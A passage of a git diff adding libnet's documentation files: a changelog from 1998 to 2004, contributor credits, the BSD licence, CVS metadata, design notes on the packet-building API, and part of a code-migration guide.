+ Removed "protocol" from the libnet context. It was a waste of four bytes
+ The raw socket interface always uses the "IPPROTO_RAW" protocol
+ Fixed a memory leak in the advanced interface; there is now a function
+ libnet_adv_free_packet() to free the memory allocated for the packet
+ when libnet_adv_cull_packet() is called
+ Fixed a bug on big endian boxes that had TCP and UDP checksums with odd
+ payloads come out incorrect
+ Changes all error messages to look and feel the same:
+ "%s(): foo\n", __func__
+ Added a bunch of htons/htonl fixes
+ Continued to add to the doxygen-based documentation
+ Added support for unconfigured interfaces
+ Changed the number of interfaces libnet can handle from 32 to 512
+ Removed uneeded control structure cruft from libnet_link_dlpi.c
+ Removed sample/ip.c and added sample/ip_link.c and sample/ip_raw.c
+ Added IPv6 fragmentation header builder
+ Added IPv6 routing information header builder
+ Added IPv6 destination options header builder
+ Fixed IPv6 flowlabel and traffic class bitwise math
+
+Tue Nov 25 15:33:27 PST 2003 1.1.1
+
+ Fixed a bug in libnet_build_icmp_redirect: htonl(gateway) --> gateway.
+ Added icmp_redirect.c sample code.
+ Added libnet_autobuild_arp().
+ Added a slightly faster checksum.
+ Added a GRE builder.
+ Fixed a buffer overflow in libnet_build_dhcp().
+ Added more sanity checks to ensure we have proper link or network layer
+ headers when not in advanced mode.
+ Fixed a bug that would sometimes make __libnet_dump_context() crash under
+ linux.
+ Migration from sprintf and strcpy snprintf and strncpy.
+ Fixed bug in libnet_build_ipv4() when calculating size of memory block
+ Removed the support directory -- if you're an OLD version of OpenBSD or
+ FreeBSD you deserve what you get.
+ Added a BGP builder.
+ Changed the error handing functions to be more consistent and use
+ __FUNCTION__.
+ Fixed a bug in libnet_pblock_free() -- replaced it with
+ libnet_pblock_delete().
+ Fixed all of the inconsistencies inside all of the builders and pblock code
+ where some fringe conditions could result in u_longs being crunched into
+ u_shorts.
+ Fixed libnet_pblock_coalesce() to only require one pass through the list.
+ Added better diagnostics (__libnet_dump_context(), __libnet_dump_pblock()).
+ Added Token Ring and FDDI builders (Linux and Solaris only).
+ Added Token Ring and FDDI sample programs.
+ Fixed the handling of TCP and IP payloads when reusing a pblocks.
+ Fixed the handling of IP headers such that if a TCP packet changes size
+ via subsequent calls to libnet_build_tcp(), the IP header automatically
+ changes size as well.
+ Added libnet_pblock_delete() to remove a pblock from the list.
+ Added ip.c sample program (builds an arbitrary IP packet).
+ Added additional payload sanity checks to libnet_build_*.
+ Added a payload to sample/icmp_echo_cq.c.
+ Added an MPLS builder.
+ Added an 802.1x builder.
+ Added an RPC builder! Bout time eh?
+ Fixed do1x.c sample code to make the frame valid.
+ Fixed link-interface semantics under Mac/OSX
+ Changed libnet_stats to all be unsigned long longs to accomodate all of
+ hardcore packet writers.
+ Fixed IPv6 support (to some extent) removed the IP_HDRINCL stuff and
+ reworked the resolver stuff to use net_pton() and inet_ntop().
+ Fixed libnet_build_icmpv4_*() to properly handle the IP header in the
+ payload.
+ Fixed libnet_build_igmp() to handle checksums properly.
+ Fixed a bug in libnet_build_dnsv4() -- now it will work for TCP or UDP --
+ see the sample program for details...
+ Fixed a bug in sample/dhcp_discover.c
+ Added multiple packet interface (called the context queue interface).
+ Until I finish the manpage, see the sample code and README files
+ for instructions on how it works.
+ Fixed Cygwin support.
+ Fixed an OS/X compilation error due to lack of system header files.
+ Fixed OS/X link layer bug.
+ Fixed a bug in pblock_coalesce() that resulted in bad checksums when the
+ advanced mode was enabled.
+ Fixed a potential memory leak in pblock_coalesce().
+ Fixed a potential memory leak in libnet_select_device().
+ Fixed a potential memory leak in libnet_plist_chain_new().
+ Fixed Solaris support for IPv6 address support.
+ Fixed minor bugs in libnet_advanced.c.
+ Added loopback device support.
+
+
+Mon Aug 5 15:18:52 PDT 2002 1.1.0
+
+ First 1.1.0 non-beta release.
+
+ Added libnet_adv_write_link() which allows an advanced user to access
+ libnet's low-level frame injection functionality directly.
+
+
+Wed Jul 10 08:18:15 PDT 2002 1.1.0 Beta 07b
+
+ Added some words to the manpage.
+
+ Fixed a typo in libnet-functions.h -- forgot a comma.
+
+
+Sun Jul 7 10:37:12 PDT 2002 1.1.0 Beta 07a
+
+ My bad. Forgot to `make distclean` before last release resulting in some
+ compilation errors.
+
+ My bad. Forgot to add advanced *_ADV writing support to libnet_write().
+ Simple fix.
+
+
+Tue Jul 2 08:42:57 PDT 2002 1.1.0 Beta 07
+
+ BETA support for IPv6.
+
+ Fixed the IP and TCP options bugs that bound the TCP and IP payloads to
+ the IP and TCP headers respectively and saw options being appended
+ after the payload.
+
+ Added libnet_hex_aton(). This functions reads in arbirtrarily long hex
+ strings from the command line and returns the equivalent byte string. It
+ does an implicit malloc() so make sure to free().
+
+ Frédéric Raynal submitted a patch to break the coalesce loop down to two
+ passes using realloc resulting in a modest performance increase! Cool!
+
+ Added "Advanced Mode" which will initialize the library with additional
+ functionality for advanced users who "know what they're doing". Basically
+ this feature will remove some of the sanity checks libnet does when
+ building and injecting packets, at the programmer's peril. It also exposes
+ the libnet_adv() functions.
+
+ FINALLY changed that irritating struct ether_addr redefintion problem.
+ I internalized the name space of it (-> libnet_ether_addr) so there will
+ be no more issues there. Please update your code accordingly!
+
+ Added IGMP checksum support which was omitted by accident.
+
+ Removed netinet/ip_icmp.h from include list. This was causing problems
+ when including dnet.h which includes other system headers. We can
+ probably stand to remove several headers from libnet.h.in.
+
+ Added sanity check to ensure that when *build_ethernet() is called the
+ injection method is LIBNET_LINK (except when advanced mode is on).
+
+
+Thu Mar 28 22:18:46 PST 2002 1.1.0 Beta 06
+
+ Fixed ICMP unreachable checksum error and payload issues. Now using the
+ payload interface with unreachables will append the payload to the IPv4
+ header of the "offending packet".
+
+ Split STP builder into two; libnet_build_stp_conf() and
+ libnet_build_stp_tcn().
+
+ New CHANGELOG format. :)
+
+
+Mar 24 2002 1.1.0 Beta 05
+
+ New building logic. Top down. Much smarter, we now build packets and
+ frames like an OS kernel.
+
+ Added Cisco ISL builder.
+
+
+Mar 18 2002 1.1.0 Beta 04
+
+ Added an STP builder.
+
+ Hooks for Cisco ISL builder.
+
+ Changed libnet_init() to now accept an IP address for the device (so
+ either "fxp0" or "192.168.0.1" will work).
+
+ Added libnet_clear_packet() to free packet memory when we're done with it.
+
+
+Feb 28 2002 1.1.0 Beta 03
+
+ Added 802.1q, 802.2, 802.3 builders.
+
+
+Feb 25 2002 1.1.0 Beta 02
+
+ Fixed Cygwin support.
+
+
+Feb 01 2002 1.1.0 Beta 01
+
+ Complete new API and overhaul of most everything.
+
+ Improved linux packet socket support.
+
+ Renamed libnet_host_lookup() and libnet_name_resolve() to the more
+ intuitive libnet_addr2name() and libnet_name2addr().
+
+ All of the address resolution functions return host byte order (which
+ is what the build functions want).
+
+ Removed a ton of code from every corner of libnet.
+
+ Removed alot of useless crap:
+ misc directory
+ ports directory
+ util directory
+ cleaned out the test directory and moved it to sample
+
+ The libnet-config script is no longer needed to specify machine
+ endianess -- that has been moved to libnet.h and done at compile time.
+ You can still use it to specify other CPP constants as well as
+ libraries.
+
+ Added cygwin support.
+
+ Hooks for a few ieee 802 builders.
+
+ Added NTP builder.
+
+ Added DHCP builder.
+
+ Added BOOTP builder.
+
+ Added Cisco CDP builder (needs work).
+
+ Added IPSEC builder (needs work).
+
+- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+ 1.0.2a 02.06.2001 Oops! Messed up the install stuff. Fixed now.
+ Fixed the config.sub to correctly look for arm*
+ architecture.
+ Fixed the test.sh script
+ (Thankz again to syke).
+
+ 1.0.2 02.03.2001 Added OpenBSD 2.7 etherspoof lkm and kernel patch.
+ (Thankz to obecian).
+ Added FreeBSD 4.0-STABLE (and 5.0-CURRENT?)
+ etherspoof kernel patch.
+ (Thankz to Matt Bing).
+ Added FreeBSD 4 support for automagic MAC address
+ spoofing (via ioctl). No more lkm!
+ (Thankz to Toni Andjelkovic).
+ Added VRRP support.
+ Fixed a NULL pointer check in libnet_checksum.c.
+ (Thankz to syke).
+ Fixed a function naming problem in libnet_if_addr.c.
+ (Thankz to gigisull).
+ Fixed a potential byte error in libnet_version.
+ (Thankz to wotan).
+ Fixed a potential overflow in
+ libnet_link_sockpacket.c and libnet_link_dlpi.c.
+ (Thankz to Jarno Huuskonen).
+ Fixed a manpage discrepancy (get_ip_addr returns
+ host-byte, not network-byte).
+ Fixed arena allocation code (misalignments and
+ whatnot) and arena manpage entry (2 arguments
+ were swapped).
+ (Thankz to Bryan T. Schmersal).
+ Fixed datatype discrepancies (u_char was used
+ liberally when char should have been used).
+ (Thankz to Kyle Hargraves).
+ Fixed the PF_PACKET interface to work correctly.
+ (Thankz to Smiler).
+
+ 1.0.1b 04.07.2000 Fixed portlist chaining code to allow for more than
+ one active plist chain at a time (as per twitch's
+ patch).
+ Fixed discrepancy between the manpage and code for
+ libnet_close_link_interface. It now returns 1 on
+ success as per libnet standard (thankz to Toni
+ Andjelkovic for pointing this out).
+
+ 1.0.1a 03.29.2000 Fixed a small bug in libnet_link_dlpi.c.
+
+ 1.0.1 12.19.1999 Fixed a typo in libnet-headers.h ARH_H -> ARP_H.
+ Fixed a small typo in ether_mod-2.5.c.
+ Pre-happy BD to libnet! She'z almost 2 yearz old!
+
+ 1.0.0 10.27.1999 Added verbose html documentation.
+ Added verbosely commented example code.
+ Fixed OSPF testcode compile issues.
+ Added ping of death ICMP test code module.
+ Fixed manpage installation wrongness.
+ Fixed a reported bug in OpenBSD etherspoof lkm.
+ Merged OSPF lsa checksum code into main checksum
+ module.
+ Fixed a reported bug in the Makefile.in under
+ Solaris when make install was invoked, the ln
+ failed.
+ Fixed linux-based IP broadcasting using the
+ raw sockets interface.
+
+ 0.99g 09.13.1999 Added an OSPF builder (which is still in beta).
+ Fixed the Linux/configure.in bug. This was an odd
+ bug that affected Linux-based boxes, but not
+ BSD-based machines. The configure script refused
+ to expand most of the Makefile.in macros in every file
+ because of a conditional check.
+ Fixed some Makefile.in issues.
+
+ 0.99f 09.09.1999 Changed test/poink.c to not rely on a previous
+ install of libnet to compile.
+ Added a redhat RPM.
+ Changed sourcefile naming scheme to libnet_*.
+ Removed all assertions from the tree.
+ We are moving closer to a 1.0 release and
+ assertions have no place in production code.
+ Furthermore, there should be no exit points
+ inside a library. Currently, all functions that
+ made assertions now return an integral 1 upon
+ success and a -1 when the assertion would have
+ failed (some had to be changed from returning
+ void to returning int). This will not break
+ backward compatbility.
+ Fixed bugs in the arena code.
+ next_packet_from_arena would never return the
+ first chunk of memory, only the "next". It
+ now handles this special case. Thanks to
+ Sascha Gresk for locating this bug.
+ Fixed another potential bug when attempting
+ to allocate large packet sizes inside an arena.
+ Added an OpenBSD 2.5 ether_spoof lkm.
+ Fixed TCP options bugs.
+
+ 0.99e 07.21.1999 Modified the libnet-config script to work more
+ intutively now. It accepts multiple arguments.
+ See README.libnet-config.
+ Solaris m4/sh fixes (autoconf phase).
+ Internal error handling changed to use libnet_error.
+
+ 0.99d 06.24.1999 Added: build_icmp_redirect().
+ Added: FreeBSD 3.x support for spoofing source.
+ Added: libnet_error().
+ Added: port list chaining code.
+ MAC addrresses (see README.bpf).
+ Bugfix: libnet_select_device correctly accepts
+ NULL device arguments.
+ Bugfix: build_icmp.c now copies the correct amount
+ of header information.
+ Bugfix: OpenBSD needs HAVE_SOCKADDR_SA_LEN.
+ Changed: write_ip internal semantics. Cleaner
+ and faster now.
+ Changed: init_packet argument parameters. More
+ correct now. Takes a u_short vs. a size_t.
+
+ 0.99c 05.28.1999 link_int -> libnet_link_int.
+ Misc small testcode fixes.
+ Added libnet_tcp_header and libnet_ip_header.
+ Added libnet-config shell script, see
+ README.libnet-config and the manpage.
+ Updated ports.
+ Revamped checksum module -- it's much simpler
+ and more efficient (ripped out arch specific
+ code which seemed to be buggy with series' of
+ very large packets). Dug Song wrote it, with
+ small fixes/changes by MDS.
+
+ 0.99b 05.06.1999 Fixed a nasty UDP/TCP + data checksum bug.
+ Header structure further divided into subfiles.
+ Moved get_hwaddr into low-level interface locales.
+ Fixed the BSD get_hwaddr (dugsong@anzen.com).
+ Ported to BSD/OS 3.x.
+ Added `LIBNET_VERSION` symbolic constant.
+ build_ip with payload semantics changed (now
+ requires a payload length which is more
+ intuitive).
+ Fixed the `disappearing MAC address problem`
+ within the linux version of get_hwaddr().
+
+ 0.99a 04.14.1999 Linux 2.0.x kernels don't have <net/ethernet.h>
+ 0.99 included this header file without checking
+ to see if it present. This is now fixed.
+ Non-x86 systems have no tcp_check function but the
+ stub.c sourcefile did not check this. This is now
+ fixed.
+ Added the utilities directory and get_mac.c.
+
+ 0.99 04.13.1999 Major manpage redux.
+ Added (broken?) PF_PACKET support for Linux (see
+ README.linux).
+ Moved alot of m4 from configure.in to aclocal.m4.
+ Added Linux m4 macro to detect PF_PACKET.
+ Added build_icmp_unreach
+ Added build_icmp_timestamp
+ Added standard nomenclature for all the ICMP
+ type/code symbolic constants (see the manpage).
+ Changed internal network structure nomenclature.
+ Decided to stop using the word nomenclature so much.
+ Fixed semantics of get_ipaddr (s/PF_INET/AF_INET).
+ Added a symlink in the install directory so libnet
+ is also named `libpwrite`.
+ Added ASN.1 conversion routines, mostly pilfered
+ from ucd snmplib.
+ Removed get_hwaddr from sockpacket.c and made the
+ existing one portable to Linux.
+ Added more testcode and changed testcode structure
+ to be more intuitive.
+ Added init_packet and destroy_packet.
+ Added an arena allocator.
+ Fixed alignment issues on SPARC and Alpha
+ (possibly others with strict alignment
+ requirements).
+ Added a packet dumping routine. Not fully tested.
+ Testcode updates including a master testcode shell
+ script.
+ Added stub functions to ease the eventual
+ transition to a more proper `libnet_*` function
+ naming convention. See README.stubs for more
+ info.
+
+ 0.10a 02.04.1999 Added the libnet.s2h configuration file to the
+ distribution.
+ GLIBC fix.
+
+ 0.10 01.31.1999 Many low-level changes, same interface though.
+ Split up the main libnet.h file into two files.
+ Autoconf changes:
+ checks to see if the underlying architecture
+ needs to be aligned.
+ flexible install location.
+ explicitly set $CC option in Makefile.in.
+ Added ensure-dir.sh.
+ Changes DEBUG semantics as I was told the previous
+ stuff broke on some compilers.
+ Created a FreeBSD/OpenBSD ports entry.
+ SGI snoop (drain) interface fixed.
+ Solaris/HPUX DLPI interface fixed.
+ Support for getting local IP addresses.
+ Support for getting local hardware addresses.
+ Added a DNS packet builder.
+ Added an RIP packet builder.
+ Added an ICMP MASKREQ/REPLY packet builder.
+ Added ICMP at the link layer test code.
+ Changed GLIBC version detection semantics.
+
+ 0.9 12.15.1998 Major changes/additions here...
+ Added lowlevel packet building and writing
+ routines with a codebase from libpcap.
+ Broken DPLI support (fixme!).
+ Added ethernet and ARP building routines.
+ Added ICMP_ECHO building routine which led to the
+ Discovery of an odd kernel panic bug under
+ OpenBSD (see hook.c in test dir).
+ Added IGMP building routine.
+ Reworked autoconf script.
+ Fixed Linux ip_sum vs. ip_csum naming issue.
+ Fixed Solaris checksums (2.4, 2.5.x).
+ Added NetBSD autoconf entry.
+ Changed BSD_BYTE_SWAP semantics to correctly handle
+ IP datagrams through BPF (see write_ip.c).
+
+ 0.8c 11.10.1998 Added more testcode.
+
+ 0.8b 10.21.1998 OK. I THINK WE'VE FINALLY FIXED THAT GLIBC THING.
+ Ported to alpha Linux.
+
+ 0.8a 10.15.1998 Added support for IP TOS bits (oops. Broke
+ backward compatibility again. Like I said, don't
+ rely on this until 1.x).
+
+ 0.8 10.13.1998 Added support for IP options.
+ Added support for TCP options.
+ Added a dummy version function.
+ Fixed linux libc vs. glibc nomenclature discrepancy.
+ Solaris checksums fixed for non-payload laden
+ packets?
+
+ 0.7b 09.22.1998 Linux glibc/libc nomenclature anomoly still there.
+ Fixed Linux/BSD icmp header size problem.
+
+ 0.7a 08.26.1998 Fixed payload support (see test code).
+
+ 0.7 08.25.1998 Solaris port (checksums broken -- Solaris has gay
+ fucking quirks when it comes to checksumming on
+ raw sockets).
+ Added autoconf scripts.
+ Added psuedorandom number generation code.
+ Added payload support (breaks backward
+ compatability and is untested).
+
+ 0.6 06.21.1998 Fixed UDP checksum. Removed USE_NAME CPP option
+ made it a run time decision. Makes code more
+ extensible, but breaks backward compatibility.
+
+ 0.5 06.02.1998 Added TCP/UDP/IP packet assembly routines.
+ Added a checksum function.
+ Added a manpage.
+ Removed daemonizing function (BSD has one).
+ UDP checksums broken...
+
+ 0.4 01.12.1998 IP checksum (x86 assembly implementation).
+
+ 0.3 01.12.1998 daemonizing function.
+
+ 0.2 01.11.1998 raw socket function changed to allow user
+ designated protocol for raw socket
+
+ 0.1 01.05.1998 Initial release, contains:
+ network byte order -> human readable IP address,
+ human readable IP address -> network byte order,
+ simple raw socket / IP_HDRINCL wrapper,
+ TCP checksum (x86 assembly implementation)
+EOF
diff --git a/libnet/doc/CONTRIB b/libnet/doc/CONTRIB
new file mode 100644
index 0000000..9c756c8
--- /dev/null
+++ b/libnet/doc/CONTRIB
@@ -0,0 +1,53 @@
+===============================================================================
+ $Id: CONTRIB,v 1.8 2004/03/01 20:26:11 mike Exp $
+ LIBNET 1.1 (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ http://www.packetfactory.net/libnet
+===============================================================================
+
+
+ 1.1.x CONTRIBUTERS
+
+ Barbato, Luca
+ . faster C checksum routine
+ Beverly, Scott <scottbeverly@xengin.com>
+ Bowman, Don <don@sandvine.com>
+ Coulter, Michae l <mjc@bitz.ca>
+ . arp bugfix
+ Damron, Jason <jsdamron@hushmail.com>
+ . bugfixes
+ . IP/TCP options bugfixes
+ . RPC builder
+ . token ring and fddi support
+ Davis, Michael <mike@datanerds.net>
+ . bugfixes
+ Dulai, Danny <ddulai@stake.com>
+ Kuehl, Kirby <kkuehl@cisco.com>
+ . u_short -> u_long patch
+ . 1.1.1 Win32 porting
+ . tons and tons of other stuff
+ Roberto Larcher <roberto.larcher@libero.it>
+ . 1.1.0 Win32 Porting
+ Newsham, Tim <tnewsham@stake.com>
+ . general elitism
+ O'Donnell, Adam <javaman@west.philly.ghetto.org>
+ . Solaris IPv6 address fix
+ Omella, Alfredo Andres <aandres@s21sec.com>
+ . Solaris DLPI fix
+ Raynal, Frederic <frederic.raynal@security-labs.org>
+ . cq interface
+ . numerous bugfixes and suggestions
+ . keeping the project alive during my sabbatical!
+ Salvatori, Alessandro
+ . many many patches
+ Sehgal, Anupma <asehgal@cisco.com>
+ . pblock sanity check oversight fix
+ Schlott, Stefan <stefan@ploing.de>
+ . IPv6 code
+ Simons, Terry <Terry.Simons@m.cc.utah.edu>
+ . OS/X port
+ Song, Doug <dug@monkey.org>
+ . inspiration
+ Su, Joe <cysu@csie.nctu.edu.tw>
+ . IPv6 traffic clas and flow label fix
+ Yardley, Tim <liquid@dqc.org>
+EOF
diff --git a/libnet/doc/COPYING b/libnet/doc/COPYING
new file mode 100644
index 0000000..1a29568
--- /dev/null
+++ b/libnet/doc/COPYING
@@ -0,0 +1,31 @@
+ $Id: COPYING,v 1.1.1.1 2003/06/26 21:55:10 route Exp $
+
+ libnet 1.1.x
+ Copyright (c) 1998 - 2002 Mike D. Schiffman <mike@infonexus.com>
+ http://www.packetfactory.net/libnet
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions
+are met:
+
+1. Redistributions of source code must retain the above copyright
+ notice, this list of conditions and the following disclaimer.
+2. Redistributions in binary form must reproduce the above copyright
+ notice, this list of conditions and the following disclaimer in the
+ documentation and/or other materials provided with the distribution.
+
+THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGE.
+
+
+EOF
diff --git a/libnet/doc/CVS/Entries b/libnet/doc/CVS/Entries
new file mode 100644
index 0000000..641f6f0
--- /dev/null
+++ b/libnet/doc/CVS/Entries
@@ -0,0 +1,12 @@
+/BUGS/1.2/Sat Jan 3 20:31:00 2004//
+/COPYING/1.1.1.1/Thu Jun 26 21:55:10 2003//
+/MIGRATION/1.2/Sat Jan 3 20:31:00 2004//
+/PACKET_BUILDING/1.2/Sat Jan 3 20:31:00 2004//
+/PORTED/1.2/Sat Jan 3 20:31:00 2004//
+/RAWSOCKET_NON_SEQUITUR/1.2/Sat Jan 3 20:31:00 2004//
+/TODO/1.2/Sat Jan 3 20:31:00 2004//
+D/man////
+/DESIGN_NOTES/1.3/Sat Jan 17 07:51:19 2004//
+/libnet.doxygen.conf/1.2/Fri Jan 16 23:02:31 2004//
+/CONTRIB/1.8/Mon Mar 1 20:26:11 2004//
+/CHANGELOG/1.24/Mon Mar 29 17:24:34 2004//
diff --git a/libnet/doc/CVS/Repository b/libnet/doc/CVS/Repository
new file mode 100644
index 0000000..463dc8c
--- /dev/null
+++ b/libnet/doc/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/doc
diff --git a/libnet/doc/CVS/Root b/libnet/doc/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/doc/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/doc/DESIGN_NOTES b/libnet/doc/DESIGN_NOTES
new file mode 100644
index 0000000..4d27b89
--- /dev/null
+++ b/libnet/doc/DESIGN_NOTES
@@ -0,0 +1,134 @@
+===============================================================================
+ $Id: DESIGN_NOTES,v 1.3 2004/01/17 07:51:19 mike Exp $
+ LIBNET 1.1 (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ http://www.packetfactory.net/libnet
+===============================================================================
+
+
+ DESIGN NOTES
+
+ In order to remove most of the decisions a user had to make (how much
+ memory to allocate for a packet, where to build the packet headers, where
+ to do the checksums, how to inject the packet, etc) I decided to move ALL
+ of that logic into the library, behind the scenes. To initialize
+ things and get an initial libnet context, the applications programmer
+ calls:
+
+ libnet_t *l;
+ l = libnet_init(INJECTION_TYPE, PROTOCOL, DEVICE, ERRBUFFER);
+
+ where:
+
+ INJECTION_TYPE = LIBNET_RAW4 (ipv4 raw socket)
+ LIBNET_RAW6 (ipv6 raw socket)
+ LIBNET_LINK (link-layer socket)
+ LIBNET_RAW4_ADV (advanced mode)
+ LIBNET_RAW6_ADV (advanced mode)
+ LIBNET_LINK_ADV (advanced mode)
+
+ PROTOCOL = IP protocol to be used for the raw socket. This is
+ ignored for the link-layer, and almost always
+ IPPROTO_RAW for ipv4.
+
+ DEVICE = The canoical name of the device, used only with the link
+ layer stuff. For ipv4 raw socket, you can leave this
+ NULL. If it's NULL with the link-layer, libnet will try
+ to find a suitable device.
+
+ ERRBUFFER = Until we have our libnet context l, this is where
+ errors will be.
+
+ Inside of this newly created context we have a ton of stuff including a
+ file descriptor for the packet device the injection type, the device name
+ (if applicable) a pointer to the libnet protocol block structure and some
+ other ancillary data.
+
+ Additionally, we will soon be supporting context manipulation functions
+ that will allow the user to set certain flags inside the context. This
+ interface will be akin to libnet_toggle_checksum() for those of you who
+ care.
+
+ When a packet is first constructed, the protocol block (pblock) stuff comes
+ into play. On the outside, to an applications programmer, a packet is
+ constructed more or less like normal (with a few notable exceptions):
+
+ libnet_ptag_t ip_tag;
+ ip_tag = libnet_build_ipv4(
+ LIBNET_UDP_H,
+ 0,
+ 242,
+ 0,
+ 64,
+ IPPROTO_UDP,
+ 0, /* NEW: checksum */
+ src_ip,
+ dst_ip,
+ NULL,
+ 0,
+ l, /* NEW: libnet context */
+ 0 /* NEW: libnet ptag */
+ );
+
+ The checksum allows an applications programmer to decide if he wants to
+ specify his own random value (useful in NIDS fooling) or precompute the
+ sum elsewhere, or leave it zero and by default libnet will take care of it
+ (although this is over-ridable). The libnet context is the opague
+ pointer we allocated earlier and will show up in just about every libnet
+ function call from here on out. The libnet ptag is a way to reference an
+ ALREADY BUILT protocol block. This is necessary if you want to change
+ some values of a header inside of a packet injection loop.
+
+ So, when you call a build function, internally, it's a completely new
+ system. If the item you're constructing is NEW, a new pblock will be
+ allocated and linked onto the end of the list. It may be helpful to think
+ of this as a "protocol stack" because you MUST build your packets IN
+ ORDER, from the top of the protocol stack on down (i.e.: tcp -> ip ->
+ ethernet). Once you build a new protocol block, it's "pushed down on the
+ stack" and you move on to the next. However, this analogy breaks down
+ because you can modify any one of these items and when they're assembled
+ for the final packet, libnet starts at the head of the list. It may be
+ MORE helpful to think of the pblock chain as a doubly linked FIFO
+ queue, because that's what it is. :)
+
+ For example:
+
+ libnet_ptag_t 1;
+ libnet_ptag_t 2;
+ libnet_ptag_t 3;
+
+ 1 = libnet_build_data(blah, l, 0);
+ 2 = libnet_build_tcp(blah, l, 0);
+ 3 = libnet_build_ipv4(blah, l, 0);
+
+ Will result in:
+ ---------- ---------- ----------
+ l->protocol_blocks--->| data |----->| tcp |----->| ip |
+ | pblock |<-----| pblock |<-----| pblock |----|
+ --| ptag: 1| | ptag: 2| | ptag: 3| |
+ | ---------- ---------- ---------- v
+ | -----
+ |-------------------------------------------> ---
+ -
+
+ To access and change the ip header, an additional call to libnet_build_ipv4
+ with the ptag argument would be made:
+
+ libnet_build_ipv4(blah..., l, 3);
+
+ Note that the ptag DOES NOT CHANGE. Once a pblock is built, its tag is
+ set in stone.
+
+ When it comes time to write the packet to the wire,
+ libnet_pblock_coalesce() is called to assemble the packet fragments.
+
+ 1) Gather up all of the pblock sizes in order to allocate one
+ contiguous block of memory.
+ 2) Copy over the packet fragments.
+ 3) Check each pblock to see which items need checksums, then perform
+ that checksum over each portion (the entire packet is needed for
+ some checksums).
+
+ So that's a quick description of what's going on under the hood. There's
+ more, but this should be enough to get you started.
+
+EOF
diff --git a/libnet/doc/MIGRATION b/libnet/doc/MIGRATION
new file mode 100644
index 0000000..b257241
--- /dev/null
+++ b/libnet/doc/MIGRATION
@@ -0,0 +1,172 @@
+===============================================================================
+ $Id: MIGRATION,v 1.2 2004/01/03 20:31:00 mike Exp $
+ LIBNET 1.1 (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ http://www.packetfactory.net/libnet
+===============================================================================
+
+
+ MIGRATING YOUR CODE AND QUICKSTART
+
+ Using Libnet 1.1 you will find it MUCH simpler to build and write packets
+ than before. Instead of the previous five steps (initialize memory,
+ initialize network, build packet, do checksums, write packet) there are
+ now only three steps (initialize library, build packet, write packet).
+ In order to port your existing code, you will mainly be REMOVING
+ function calls and variables.
+
+ 1) Start with code removal:
+
+ - Remove all calls to libnet_init_packet() / packet malloc()ing and
+ all associated variables.
+ - Remove all calls to libnet_open_raw_sock() / libnet_open_link_layer()
+ and all associated variables.
+ - Remove all calls to libnet_do_checksum() and all associated
+ variables.
+
+ 2) Continue with code addition and modification:
+
+ - You will need a single "libnet_t *l" which is your libnet file
+ context and an error buffer:
+
+ libnet_t *l
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ l = libnet_init(
+ LIBNET_RAW4, /* or LIBNET_LINK or LIBNET_RAW6 */
+ NULL, /* or device if you using LIBNET_LINK */
+ errbuf);
+
+ - The libnet_build functions are largely unchanged with a few
+ important differences:
+
+ 1) Packets headers MUST be stacked IN ORDER. This is
+ intuitive and shouldn't be a problem. Due to the way
+ individual packet header memory is allocated and how
+ packet pieces are combined to build a packet they HAVE to
+ be built IN ORDER, from the high end of the protocol stack
+ on down. ie: using the raw interface to build a NTP
+ packet, you would:
+ libnet_build_ntp(...)
+ libnet_build_udp(...)
+ libnet_build_ipv4(...)
+ To build the same packet using the LINK interface on
+ top of ethernet you would:
+ libnet_build_ntp(...)
+ libnet_build_udp(...)
+ libnet_build_ipv4(...)
+ libnet_build_ethernet(...)
+ 1a) There is the option now of using libnet_autobuild_ipv4()
+ and libnet_autobuild_ethernet() which have fewer
+ arguments and smaller stack frames and are a bit more
+ convenient.
+ 2) The libnet_build functions return a libnet_ptag_t datatype
+ on success or -1 on error. This ptag is your
+ "protocol/packet tag" so you can find this header again
+ if you needed to modify it later on. If you don't need
+ to modify the packet header you can throw this value
+ away. You should definitely check for error now on
+ your build functions. Alot's going on down there fellas.
+ 2a) NOTE that after packets are built, they may accessed
+ independently of construction order via the saved ptag.
+ 3) They NO LONGER ACCEPT BUFFER ARGUMENTS. This is ALL
+ done internally. The last TWO arguments are the libnet
+ context you created in your call to libnet_init() and
+ an OPTIONAL ptag argument. The ptag argument, if non-zero,
+ specifes a packet tag to an ALREADY EXISTING packet header
+ that will be OVERWRITTEN with the values specified in
+ this libnet_build function call. This is how you modify
+ existing packet header pieces. If this ptag is 0,
+ a new protocol block is allocated and the packet is
+ pushed down on the "protocol stack".
+ 4) For the functions that build headers that have checksums
+ these are NOW SPECIFIED AS AN ARGUMENT. This adds more
+ flexibility in how checksums are done (you can leave the
+ field 0, put in a random value, precompute it on your own,
+ or let the library do it). By default, when you build
+ a header, a "DO_CHECKSUM" flag will be set. This means
+ the library will compute the checksum for the header
+ and possibly over the data before the packet is written.
+ To clear this flag, there is a special macro you
+ can call on the ptag refering to that header.
+ 5) For the functions that have a length, it now specifies
